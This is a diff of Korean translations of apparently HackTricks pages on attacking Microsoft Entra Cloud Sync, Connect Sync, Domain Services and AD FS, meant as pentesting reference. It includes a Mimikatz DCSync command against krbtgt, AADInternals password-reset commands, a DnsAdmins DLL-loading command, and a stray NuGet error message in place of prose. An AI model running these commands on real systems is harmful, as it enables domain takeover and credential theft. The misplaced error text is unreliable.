-[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync는 사용자의 동기화, 그룹 및 연락처를 Microsoft Entra ID로 수행하기 위해 설계된 Microsoft의 새로운 서비스입니다. 이는 Microsoft Entra Connect 애플리케이션 대신 Microsoft Entra 클라우드 프로비저닝 에이전트를 사용하여 수행됩니다. 그러나 Microsoft Entra Connect Sync와 함께 사용할 수 있습니다.
+[문서에서:] (https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync는 사용자가 Microsoft Entra ID로 동기화되는 하이브리드 ID 목표를 충족하고 달성하기 위해 Microsoft에서 설계한 새로운 서비스입니다. 이는 Microsoft Entra Connect 애플리케이션 대신 Microsoft Entra 클라우드 프로비저닝 에이전트를 사용하여 수행됩니다. 그러나 Microsoft Entra Connect Sync와 함께 사용할 수 있습니다.

 ### Principals Generated

@@ -15,14 +15,14 @@
 - Entra ID에서 사용자 `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`)가 **`Directory Synchronization Accounts`** 역할 (`d29b2b05-8046-44ba-8758-1e26182fcf32`)로 생성됩니다.

 > [!WARNING]
-> 이 역할은 많은 특권 권한을 가지고 있었으며 [**전역 관리자 권한을 상승시킬 수 있었습니다**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 단지 **`microsoft.directory/onPremisesSynchronization/standard/read`**라는 새로운 권한만 부여하기로 결정했습니다. 이 권한은 사용자 비밀번호나 속성을 수정하거나 SP에 새로운 자격 증명을 추가하는 등의 특권 작업을 수행할 수 없습니다.
+> 이 역할은 많은 특권 권한을 가지고 있었으며 [**전역 관리자 권한을 상승시킬 수 있었습니다**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). 그러나 Microsoft는 이 역할의 모든 권한을 제거하고 단지 **`microsoft.directory/onPremisesSynchronization/standard/read`**라는 새로운 권한만 부여하기로 결정했습니다. 이 권한은 실제로 사용자의 비밀번호나 속성을 수정하거나 SP에 새로운 자격 증명을 추가하는 등의 특권 작업을 수행할 수 없습니다.

 - Entra ID에서도 **`AAD DC Administrators`** 그룹이 구성원이나 소유자 없이 생성됩니다. 이 그룹은 [`Microsoft Entra Domain Services`](./az-domain-services.md)를 사용할 경우 유용합니다.

 - AD에서는 서비스 계정 **`provAgentgMSA`**가 **`pGMSA_<id>$@domain.com`**과 같은 SamAccountName으로 생성되거나 [**이 권한이 필요합니다**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) 사용자 정의 계정이 생성됩니다. 일반적으로 기본 계정이 생성됩니다.

 > [!WARNING]
-> 다른 권한 중에서 서비스 계정 **`provAgentgMSA`**는 DCSync 권한을 가지고 있어 **이를 타협하는 누구나 전체 디렉토리를 타협할 수 있습니다**. [DCSync에 대한 자세한 내용은 여기](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)를 확인하세요.
+> 다른 권한 중에서 서비스 계정 **`provAgentgMSA`**는 DCSync 권한을 가지고 있어 **이를 타협하는 누구나 전체 디렉토리를 타협할 수 있습니다**. [DCSync에 대한 자세한 내용은 여기](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)를 참조하십시오.

 > [!NOTE]
 > 기본적으로 **`adminCount`** 속성이 1인 도메인 관리자와 같은 알려진 특권 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 특권 그룹의 다른 사용자나 직접 높은 권한이 부여된 사용자는 **동기화될 수 있습니다**.
@@ -36,21 +36,21 @@ az-connect-sync.md
 {{#endref}}

 - **비밀번호 해시 동기화**를 활성화하면 사용자가 **AD의 비밀번호를 사용하여 Entra ID에 로그인할 수 있습니다**. 또한 AD에서 비밀번호가 수정될 때마다 Entra ID에서 업데이트됩니다.
- **비밀번호 쓰기 백**도 활성화할 수 있으며, 사용자가 Entra ID에서 비밀번호를 수정하면 온프레미스 도메인에서 비밀번호가 자동으로 동기화됩니다. 그러나 [현재 문서에 따르면](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), 이를 위해 Connect Agent를 사용해야 하므로 [Az Connect Sync 섹션](./az-connect-sync.md)을 참조하세요.
- **그룹 쓰기 백**: 이 기능은 Entra ID의 그룹 구성원이 온프레미스 AD로 동기화될 수 있도록 합니다. 즉, 사용자가 Entra ID의 그룹에 추가되면 AD의 해당 그룹에도 추가됩니다.
+- **비밀번호 쓰기 백**도 활성화할 수 있으며, 사용자가 Entra ID에서 비밀번호를 수정하면 온프레미스 도메인에서 비밀번호가 자동으로 동기화됩니다. 그러나 [현재 문서에 따르면](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), 이를 위해 Connect Agent를 사용해야 하므로 [Az Connect Sync 섹션](./az-connect-sync.md)을 참조하십시오.
+- **그룹 쓰기 백**: 이 기능은 Entra ID의 그룹 구성원이 온프레미스 AD로 다시 동기화될 수 있도록 합니다. 즉, 사용자가 Entra ID의 그룹에 추가되면 AD의 해당 그룹에도 추가됩니다.

 ## Pivoting

 ### AD --> Entra ID

- AD 사용자가 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. **사용자의 비밀번호를 타협하거나 사용자의 비밀번호를 변경하거나 새로운 사용자를 생성하고 Entra ID 디렉토리에 동기화될 때까지 기다리면 됩니다(보통 몇 분 소요)**.
+- AD 사용자가 AD에서 Entra ID로 동기화되고 있다면, AD에서 Entra ID로의 피벗은 간단합니다. **사용자의 비밀번호를 타협하거나 사용자의 비밀번호를 변경하거나 새 사용자를 생성하고 Entra ID 디렉토리에 동기화될 때까지 기다리면 됩니다(보통 몇 분 소요)**.

 예를 들어 다음과 같이 할 수 있습니다.
- **`provAgentgMSA`** 계정을 타협하고 DCSync 공격을 수행하여 일부 사용자의 비밀번호를 해독한 후 이를 사용하여 Entra ID에 로그인합니다.
- AD에 새로운 사용자를 생성하고 Entra ID로 동기화될 때까지 기다린 후 이를 사용하여 Entra ID에 로그인합니다.
- AD에서 일부 사용자의 비밀번호를 수정하고 Entra ID로 동기화될 때까지 기다린 후 이를 사용하여 Entra ID에 로그인합니다.
+- **`provAgentgMSA`** 계정을 타협하고 DCSync 공격을 수행하여 일부 사용자의 비밀번호를 해독한 다음 이를 사용하여 Entra ID에 로그인합니다.
+- AD에서 새 사용자를 생성하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.
+- AD에서 일부 사용자의 비밀번호를 수정하고 Entra ID로 동기화될 때까지 기다린 다음 이를 사용하여 Entra ID에 로그인합니다.

-**`provAgentgMSA`** 자격 증명을 타협하기 위해:
+**`provAgentgMSA`** 자격 증명을 타협하려면:
 ```powershell
 # Enumerate provAgentgMSA account
 Get-ADServiceAccount -Filter * -Server domain.local
@@ -121,20 +121,20 @@ RawHash = passwordHashData.RawHash
 }
 }
 ```
-NuGet 패키지 복원이 프로젝트 AzTokenFinder에 대해 실패했습니다: 패키지 'System.Security.Cryptography.X509Certificates'의 버전 '4.3.2'를 찾을 수 없습니다.  
-C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: 패키지 'System.Security.Cryptography.X509Certificates.4.3.2'가 소스 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'에서 발견되지 않았습니다.  
-자세한 경고 및 오류는 오류 목록 창을 참조하십시오.
+NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
+C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
+. Please see Error List window for detailed warnings and errors.

 ### Entra ID --> AD

- **비밀번호 쓰기**가 활성화된 경우, Entra ID에서 일부 사용자의 비밀번호를 수정할 수 있으며, AD 네트워크에 접근할 수 있다면 이를 사용하여 연결할 수 있습니다. 비밀번호 쓰기 설정은 해당 에이전트를 사용하여 구성되므로 더 많은 정보는 [Az Connect Sync 섹션](./az-connect-sync.md)을 확인하십시오.
+- **Password Writeback**가 활성화된 경우, Entra ID에서 일부 사용자의 비밀번호를 수정할 수 있으며, AD 네트워크에 접근할 수 있다면 이를 사용하여 연결할 수 있습니다. 비밀번호 쓰기 백이 해당 에이전트를 사용하여 구성되므로 더 많은 정보는 [Az Connect Sync section](./az-connect-sync.md) 섹션을 확인하세요.

- 현재 Cloud Sync는 **"Microsoft Entra ID to AD"**를 허용하지만, 시간이 지나면서 EntraID 사용자를 AD로 동기화할 수 없으며, 비밀번호 해시로 동기화된 EntraID 사용자만 동기화할 수 있고, 동기화하려는 도메인과 동일한 도메인 포리스트에 속하는 도메인에서 온 사용자만 동기화할 수 있다는 것을 알게 되었습니다. 자세한 내용은 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits)에서 확인할 수 있습니다:
+- 현재 Cloud Sync는 **"Microsoft Entra ID to AD"**도 허용하지만, 시간이 지나면서 EntraID 사용자를 AD로 동기화할 수 없다는 것을 발견했습니다. 오직 비밀번호 해시로 동기화된 EntraID 사용자만 동기화할 수 있으며, 이는 우리가 동기화하고 있는 도메인과 동일한 도메인 포리스트에 속하는 도메인에서 온 사용자여야 합니다. 자세한 내용은 [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits)에서 확인할 수 있습니다:

 > - 이러한 그룹은 온프레미스에서 동기화된 사용자 및/또는 추가로 클라우드에서 생성된 보안 그룹만 포함할 수 있습니다.
 > - 동기화된 온프레미스 사용자 계정은 이 클라우드에서 생성된 보안 그룹의 구성원이 될 수 있으며, 동일한 도메인 또는 교차 도메인에서 올 수 있지만, 모두 동일한 포리스트에서 와야 합니다.

-따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어들며, 공격자는 다른 도메인에서 사용자를 손상시키기 위해 사용자가 동기화되는 초기 AD를 손상시켜야 합니다(그리고 두 도메인은 명백히 동일한 포리스트에 있어야 합니다).
+따라서 이 서비스의 공격 표면(및 유용성)은 크게 줄어들며, 공격자는 다른 도메인에서 사용자를 타격하기 위해 사용자가 동기화되는 초기 AD를 손상시켜야 합니다(그리고 두 도메인은 명백히 동일한 포리스트에 있어야 합니다).

 ### Enumeration
 ```bash
@@ -19,7 +19,7 @@ az-cloud-sync.md

 ### 생성된 주체

- 계정 **`MSOL_<installationID>`**는 온프레미스 AD에서 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)를 참조). 이는 온프레미스 AD에서 **복제(DCSync) 권한**을 가지고 있음을 의미합니다.
+- 계정 **`MSOL_<installationID>`**는 온프레미스 AD에서 자동으로 생성됩니다. 이 계정은 **디렉터리 동기화 계정** 역할이 부여됩니다(자세한 내용은 [문서](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) 참조). 이는 이 계정이 **온프레미스 AD에서 복제(DCSync) 권한**을 가지고 있음을 의미합니다.
 - 이는 이 계정을 손상시키는 사람이 온프레미스 도메인을 손상시킬 수 있음을 의미합니다.
 - 관리 서비스 계정 **`ADSyncMSA<id>`**가 온프레미스 AD에서 특별한 기본 권한 없이 생성됩니다.
 - Entra ID에서는 서비스 주체 **`ConnectSyncProvisioning_ConnectSync_<id>`**가 인증서와 함께 생성됩니다.
@@ -42,9 +42,9 @@ az-cloud-sync.md
 > 기본적으로 **`adminCount`** 속성이 1인 알려진 권한 그룹의 사용자는 보안상의 이유로 Entra ID와 동기화되지 않습니다. 그러나 이 속성이 없는 권한 그룹의 다른 사용자나 높은 권한이 직접 할당된 사용자는 **동기화될 수 있습니다**.


-### 비밀번호 쓰기
+### 비밀번호 쓰기 백

-이 구성은 사용자가 Entra ID에서 비밀번호를 변경할 때 **Entra ID에서 AD로 비밀번호를 동기화**할 수 있도록 합니다. 비밀번호 쓰기가 작동하려면 AD에서 자동으로 생성된 `MSOL_<id>` 사용자에게 [문서에 명시된 대로 더 많은 권한을 부여해야](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **AD의 모든 사용자의 비밀번호를 수정할 수 있어야 합니다**.
+이 구성은 사용자가 Entra ID에서 비밀번호를 변경할 때 **Entra ID에서 AD로 비밀번호를 동기화**할 수 있도록 합니다. 비밀번호 쓰기 백이 작동하려면 AD에서 자동으로 생성된 `MSOL_<id>` 사용자에게 [문서에 명시된 대로 더 많은 권한을 부여해야](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) 하여 **AD의 모든 사용자의 비밀번호를 수정할 수 있어야 합니다**.

 이는 손상된 Entra ID에서 AD를 손상시키는 데 특히 흥미롭습니다. 왜냐하면 "거의" 모든 사용자의 비밀번호를 수정할 수 있기 때문입니다.

@@ -92,7 +92,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat

 `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`

-**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 타협하면 AD와 AzureAD로 권한 상승이 가능합니다.
+**암호화된 구성**은 **DPAPI**로 암호화되어 있으며, 온프레미스 AD의 **`MSOL_*`** 사용자 비밀번호와 AzureAD의 **Sync\_\*** 비밀번호를 포함하고 있습니다. 따라서 이를 타협하면 AD와 AzureAD에 대한 권한 상승이 가능합니다.

 이 자격 증명이 저장되고 복호화되는 방법에 대한 [전체 개요는 이 강연에서 확인할 수 있습니다](https://www.youtube.com/watch?v=JEIR5oGCwdg).

@@ -114,14 +114,13 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
 ```
 > [!WARNING]
-> 이전 공격은 Entra ID 사용자 `Sync_*`에 연결하기 위해 다른 비밀번호를 손상시킨 후 Entra ID를 손상시켰습니다. 그러나 이 사용자는 더 이상 존재하지 않습니다.
+> 이전 공격은 Entra ID 사용자 `Sync_*`에 연결하기 위해 다른 비밀번호를 손상시켰고, 그 후 Entra ID를 손상시켰습니다. 그러나 이 사용자는 더 이상 존재하지 않습니다.

-
-### ConnectSyncProvisioning_ConnectSync\_<id> 악용
+### Abusing ConnectSyncProvisioning_ConnectSync\_<id>

 이 애플리케이션은 Entra ID 또는 Azure 관리 역할이 할당되지 않은 상태에서 생성됩니다. 그러나 다음 API 권한이 있습니다:

- Microsoft Entra AD 동기화 서비스
+- Microsoft Entra AD Synchronization Service
 - `ADSynchronization.ReadWrite.All`
 - Microsoft 비밀번호 재설정 서비스
 - `PasswordWriteback.OffboardClient.All`
@@ -129,20 +128,20 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
 - `PasswordWriteback.RegisterClientVersion.All`

 이 애플리케이션의 SP는 문서화되지 않은 API를 사용하여 일부 특권 작업을 수행하는 데 여전히 사용될 수 있다고 언급되지만, 현재까지 PoC는 발견되지 않았습니다.\
-어쨌든, 이것이 가능할 수 있다고 생각하면 이 서비스 주체로 로그인하기 위한 인증서를 찾고 이를 악용하는 방법을 더 탐색하는 것이 흥미로울 것입니다.
+어쨌든, 이것이 가능할 수 있다고 생각하면, 이 서비스 주체로 로그인하기 위한 인증서를 찾고 이를 악용하는 방법을 더 탐색하는 것이 흥미로울 것입니다.

-이 [블로그 게시물](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)은 `Sync_*` 사용자에서 이 서비스 주체로 변경되기 직전에 발표되었으며, 인증서가 서버 내부에 저장되어 있었고 이를 찾고, 소유 증명(PoP)을 생성하고, 토큰을 그래프할 수 있었으며, 이를 통해 서비스 주체에 새 인증서를 추가할 수 있었다고 설명했습니다 (왜냐하면 **서비스 주체**는 항상 자신에게 새 인증서를 할당할 수 있기 때문입니다) 그리고 이를 사용하여 SP로서 지속성을 유지할 수 있었습니다.
+이 [블로그 게시물](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)은 `Sync_*` 사용자에서 이 서비스 주체로 변경되기 직전에 발표되었으며, 인증서가 서버 내부에 저장되어 있었고 이를 찾고, 소유 증명(PoP)을 생성하고, 토큰을 그래프할 수 있었으며, 이를 통해 서비스 주체에 새 인증서를 추가할 수 있었다고 설명했습니다 (왜냐하면 **서비스 주체**는 항상 자신에게 새 인증서를 할당할 수 있기 때문입니다) 그리고 이후 SP로서 지속성을 유지하는 데 사용할 수 있었습니다.

 이러한 작업을 수행하기 위해 다음 도구가 게시되었습니다: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).

 제 경험상, 인증서는 이전 도구가 찾고 있던 장소에 더 이상 저장되지 않으며, 따라서 도구는 더 이상 작동하지 않습니다. 따라서 추가 연구가 필요할 수 있습니다.

-### Sync\_\* 악용 [사용 중단]
+### Abusing Sync\_\* [DEPRECATED]

 > [!WARNING]
-> 이전에 `Sync_*`라는 사용자가 Entra ID에 생성되어 매우 민감한 권한이 할당되어 있었으며, 이는 모든 사용자의 비밀번호를 수정하거나 서비스 주체에 새 자격 증명을 추가하는 등의 특권 작업을 수행할 수 있게 해주었습니다. 그러나 2025년 1월부터 이 사용자는 기본적으로 더 이상 생성되지 않으며, 이제 애플리케이션/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**가 사용됩니다. 그러나 일부 환경에서는 여전히 존재할 수 있으므로 확인할 가치가 있습니다.
+> 이전에 `Sync_*`라는 사용자가 Entra ID에 생성되어 매우 민감한 권한이 할당되었으며, 이를 통해 모든 사용자의 비밀번호를 수정하거나 서비스 주체에 새 자격 증명을 추가하는 등의 특권 작업을 수행할 수 있었습니다. 그러나 2025년 1월부터 이 사용자는 기본적으로 더 이상 생성되지 않으며, 이제 애플리케이션/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**가 사용됩니다. 그러나 일부 환경에서는 여전히 존재할 수 있으므로 확인할 가치가 있습니다.

-**`Sync_*`** 계정을 손상시키면 모든 사용자의 비밀번호를 **재설정**할 수 있습니다 (전역 관리자 포함).
+**`Sync_*`** 계정을 손상시키면 모든 사용자의 비밀번호(전역 관리자 포함)를 **재설정**할 수 있습니다.
 ```bash
 Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
 Import-Module AADInternals
@@ -178,7 +177,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
 이 사용자 비밀번호를 덤프하는 것도 가능합니다.

 > [!CAUTION]
-> 또 다른 옵션은 **서비스 주체에 특권 권한을 할당하는 것**인데, **Sync** 사용자가 **권한**을 가지고 있으며, 그런 다음 **그 서비스 주체에 접근하는 것**이 권한 상승의 방법이 될 수 있습니다.
+> 또 다른 옵션은 **서비스 주체에 특권 권한을 부여하는 것**인데, **Sync** 사용자가 **권한**을 가지고 있으며, 그런 다음 **그 서비스 주체에 접근하는 것**이 권한 상승의 방법이 될 수 있습니다.

 ### Seamless SSO

@@ -0,0 +1,86 @@
+# Az - Microsoft Entra Domain Services
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Domain Services
+
+Microsoft Entra Domain Services는 도메인 컨트롤러를 관리할 필요 없이 Azure에서 Active Directory를 배포할 수 있게 해줍니다(실제로 도메인 컨트롤러에 접근할 수조차 없습니다).
+
+주요 목표는 현대 인증 방법을 사용할 수 없는 레거시 애플리케이션을 클라우드에서 실행하거나, 디렉터리 조회가 항상 온프레미스 AD DS 환경으로 돌아가기를 원하지 않을 때 이를 가능하게 하는 것입니다.
+
+Entra ID에서 생성된 사용자(다른 Active Directory에서 동기화되지 않은 사용자)를 AD 도메인 서비스와 동기화하려면 **사용자의 비밀번호를 새 비밀번호로 변경해야** 합니다. 실제로 비밀번호가 변경되기 전까지 사용자는 Microsoft Entra ID에서 도메인 서비스로 동기화되지 않습니다.
+
+> [!WARNING]
+> 새 Active Directory 도메인을 생성하더라도 완전히 관리할 수는 없습니다(일부 잘못된 구성을 이용하지 않는 한). 즉, 기본적으로 AD에서 직접 사용자를 생성할 수 없으며, **Entra ID에서 사용자를 동기화하여** 생성해야 합니다. 모든 사용자(다른 온프레미스 AD에서 동기화된 사용자 포함), 클라우드 사용자(Entra ID에서 생성된 사용자) 또는 **더욱 필터링할 수 있습니다**.
+
+> [!NOTE]
+> 일반적으로 새로운 도메인의 구성 유연성이 부족하고 AD가 보통 온프레미스에 이미 존재하기 때문에, 이는 Entra ID와 AD 간의 주요 통합은 아니지만, 이를 타협하는 방법을 아는 것은 여전히 흥미롭습니다.
+
+### Pivoting
+
+생성된 **`AAD DC Administrators`** 그룹의 구성원은 관리 도메인에 도메인 가입된 VM에서 로컬 관리자 권한을 부여받습니다(하지만 도메인 컨트롤러에서는 그렇지 않습니다). 이 그룹의 구성원은 **원격 데스크톱을 사용하여 도메인 가입된 VM에 원격으로 연결할 수** 있으며, 다음 그룹의 구성원이기도 합니다:
+
+- **`Denied RODC Password Replication Group`**: 이 그룹은 RODC(읽기 전용 도메인 컨트롤러)에서 비밀번호를 캐시할 수 없는 사용자 및 그룹을 지정합니다.
+- **`Group Policy Creators Owners`**: 이 그룹은 구성원이 도메인에서 그룹 정책을 생성할 수 있게 해줍니다. 그러나 구성원은 사용자나 그룹에 그룹 정책을 적용하거나 기존 GPO를 편집할 수 없으므로 이 환경에서는 그리 흥미롭지 않습니다.
+- **`DnsAdmins`**: 이 그룹은 DNS 설정을 관리할 수 있게 해주며, 과거에 [권한 상승 및 도메인 타협을 위해 악용되었습니다](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins). 그러나 이 환경에서 공격을 테스트한 결과 취약점이 패치된 것으로 확인되었습니다:
+```text
+dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
+
+DNS Server failed to reset registry property.
+Status = 5 (0x00000005)
+Command failed:  ERROR_ACCESS_DENIED     5    0x5
+```
+AD 내에서 이러한 권한을 부여하려면 **`AAD DC Administrators`** 그룹이 이전 그룹의 구성원으로 만들어지고, GPO **`AADDC Computers GPO`**가 도메인 그룹 **`AAD DC Administrators`**의 모든 구성원을 로컬 관리자에 추가하고 있음을 유의하십시오.
+
+Entra ID에서 Domain Services로 생성된 AD로의 피벗은 간단합니다. **`AAD DC Administrators`** 그룹에 사용자를 추가하고, 도메인 내의 모든 머신에 RDP로 접근하면 데이터를 훔치고 **도메인을 타협할 수 있습니다.**
+
+그러나 도메인에서 Entra ID로의 피벗은 쉽지 않습니다. 도메인에서 Entra ID로 동기화되는 것이 없기 때문입니다. 그러나 항상 메타데이터를 확인하여 할당된 관리 ID가 흥미로운 권한을 가질 수 있으므로 모든 VM을 확인하십시오. 또한 **도메인에서 모든 사용자 비밀번호를 덤프하고 이를 크랙하여 Entra ID / Azure에 로그인해 보십시오.**
+
+> [!NOTE]
+> 과거에 이 관리 AD에서 DC를 타협할 수 있는 다른 취약점이 발견되었음을 유의하십시오, [이와 같은](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC를 타협한 공격자는 Azure 관리자들이 이를 인지하지 못하거나 제거할 수 없도록 쉽게 지속성을 유지할 수 있습니다.
+
+### Enumeration
+```bash
+# Get configured domain services domains (you can add more subs to check in more subscriptions)
+az rest --method post \
+--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
+--body '{
+"subscriptions": [
+"0ce1297c-9153-425d-3229-f51093614377"
+],
+"query": "resources | where type == \"microsoft.aad/domainservices\"",
+"options": {
+"$top": 16,
+"$skip": 0,
+"$skipToken": ""
+}
+}'
+
+# Get domain configuration
+az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
+## e.g.
+az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
+
+# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
+
+subscription_id="0ce1297c-9153-425d-3229-f51093614377"
+vnet_name="aadds-vnet"
+
+# Retrieve all VMs in the subscription
+vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
+
+# Iterate through each VM to check their VNet connection
+echo "VMs connected to VNet '$vnet_name':"
+while IFS=$'\t' read -r vm_name resource_group; do
+nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
+
+for nic_id in $nic_ids; do
+subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
+
+if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
+echo "VM Name: $vm_name, Resource Group: $resource_group"
+fi
+done
+done <<< "$vm_list"
+```
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -24,7 +24,7 @@
 <figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>

 1. 처음에, 사용자가 애플리케이션(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP(Identity Provider)로 직접 안내할 수 있습니다.
-2. 그 후, SP는 사용자 인증을 위한 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다.
+2. 이후, SP는 사용자 인증을 위한 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다.
 3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP는 SAMLResponse를 작성하고 이를 사용자를 통해 SP로 전달합니다.
 4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 접근을 허용받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 이용할 수 있게 합니다.

@@ -36,8 +36,8 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html

 ## Pivoting

- AD FS는 클레임 기반의 신원 모델입니다.
- "..클레임은 사용자가 접근 권한을 부여하는 데 주로 사용되는 (예: 이름, 신원, 그룹) 진술입니다."
+- AD FS는 클레임 기반의 아이덴티티 모델입니다.
+- "..클레임은 사용자가 접근 권한을 부여하는 데 주로 사용되는 (예: 이름, 아이덴티티, 그룹) 진술입니다."
 - 사용자의 클레임은 SAML 토큰 내에 작성되며, IdP에 의해 기밀성을 제공하기 위해 서명됩니다.
 - 사용자는 ImmutableID로 식별됩니다. 이는 전 세계적으로 고유하며 Azure AD에 저장됩니다.
 - ImmutableID는 온프레미스에서 ms-DS-ConsistencyGuid로 저장되며, 사용자의 GUID에서 파생될 수 있습니다.
@@ -46,16 +46,16 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
 **Golden SAML 공격:**

 - ADFS에서 SAML Response는 토큰 서명 인증서에 의해 서명됩니다.
- 인증서가 손상되면 Azure AD에 동기화된 ANY 사용자로 인증할 수 있습니다!
+- 인증서가 손상되면 Azure AD에 ANY 사용자로 인증할 수 있습니다!
 - PTA 남용과 마찬가지로, 사용자의 비밀번호 변경이나 MFA는 효과가 없으며, 우리는 인증 응답을 위조하고 있습니다.
 - 인증서는 DA 권한으로 AD FS 서버에서 추출할 수 있으며, 이후 인터넷에 연결된 어떤 기기에서도 사용할 수 있습니다.
 - 더 많은 정보는 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)에서 확인할 수 있습니다.

 ### Golden SAML

-**Identity Provider (IdP)**가 사용자 로그인을 승인하기 위해 **SAMLResponse**를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 **응답**은 **IdP의 개인 키**를 사용하여 **서명**되거나 **암호화**될 수 있습니다. 이 절차는 **Service Provider (SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다.
